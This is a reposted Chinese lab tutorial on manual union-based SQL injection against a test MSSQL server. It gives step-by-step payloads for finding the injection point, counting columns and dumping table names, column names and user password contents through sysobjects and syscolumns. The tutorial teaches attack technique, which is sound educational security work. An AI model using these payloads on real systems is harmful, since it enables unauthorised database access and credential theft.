IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 有回显的Mssql手工注入 -> 正文阅读

[大数据]有回显的Mssql手工注入

预备知识

首先需要了解盲注入的过程:
1.寻找注入点。
2.判断页面中是否有回显字段,并找出回显字段。
3.根据回显字段,获取数据库名字、表名、字段名以及字段内容。
另外,SQL Server数据库的一切信息都保存在它的系统表格里,每个数据库内都有系统表sysobjects,它存放该数据库内创建的所有对象,如数据库,表,约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
更多信息参阅:
http://blog.csdn.net/xabc3000/article/details/7615378
http://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html

实验目的

通过该实验可以让用户掌握手工注入mssqlsever的过程,通过系统表sysobjects可以注出该数据库中的所有表和内容。

实验环境

在这里插入图片描述
测试环境:windows sever 2003,IP地址:10.1.1.215

实验步骤一

1.判断是否注入点:
首先访问页面http://10.1.1.215:8080/Information.aspx?id=1,然后id=1 and 1=1页面返回正常,id=1 and 1=2页面返回不正常,说明存在注入。
造成注入的原因是未对传入的参数做任何的过滤,关键代码为:

string where = string.Format("ID={0}", Request.Params["id"]);

拼接后的sql语句为:

select * from articles where ID= Request.Params["id"]

2.判断字段数:
在id=1后面添加order by n,n从1开始依次增大,直到页面返回不正常,当n=a时页面返回正常,n=a+1时页面返回不正常,说明字段数为a。这里依次尝试order by 1,2,3,4,5,6,发现当n为5的时候页面返回正常,n为6的时候页面没有正常返回,所以可以确定字段数为5。
在这里插入图片描述

实验步骤二

用union判断回显字段

1.根据上一步已经知道字段数为5,因为mssql可以用union联合查询,所以用id=1 and 1=2 union select 1,2,3,4,5测试,因为用union是有字段数和数据类型的限制,请自行查阅,通过尝试发现当id=1 and 1=2 union select 1,‘2’,‘3’,‘4’,5页面有回显。
在这里插入图片描述
2.根据上面的步骤可以知道表中的2,3,4字段为字符串类型。2,3,4中的内容可以用系统函数代替,获取想要的信息,比如:将’3’替换成db_name(),获取当前数据库的名字为Ms_SqlInect。
在这里插入图片描述

实验步骤三

爆出所要数据库的表和内容

1.每个数据库中都有一个sysobjects系统表,通过这个表读取数据库的表。

id=1 and 1=2 union select top 1 1,'2',name,'4',5 from sysobjects where xtype='u'

在这里插入图片描述
2.获取第二个表的名字。通过构造SQL语句可以爆出第二个表的名字,得到用户表User。仔细观察SQL语句的书写技巧:

id=1 and 1=2 union select top 1 1,'2',name,'4',5 from sysobjects where xtype='u' and name not in (select top 1 name from sysobjects where xtype = 'u')

在这里插入图片描述
3.找到用户后,通过系统表syscolumns爆出字段的名字。语句为:

id=1 and 1=2 union select top 1 1,'2',name,'4',5 from syscolumns where id = (select id from sysobjects where name= 'user')

获取第一个字段。
在这里插入图片描述
4.获取第二个字段。

id=1 and 1=2 union select top 1 1,'2',name,'4',5 from syscolumns where id = (select id from sysobjects where name= 'user') and name not in(select top 1 name from syscolumns where id =(select id from sysobjects where name='user'))

依次可以找出该表中还有password和role字段。
在这里插入图片描述
5.获取字段内容。
从表user中获取name字段的内容。
在这里插入图片描述
这里user添加一个[]是因为系统表中也存在user表,把name换成password和role就可以爆出相应字段的内容。

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-10-31 12:04:09  更:2022-10-31 12:06:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 10:40:46-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码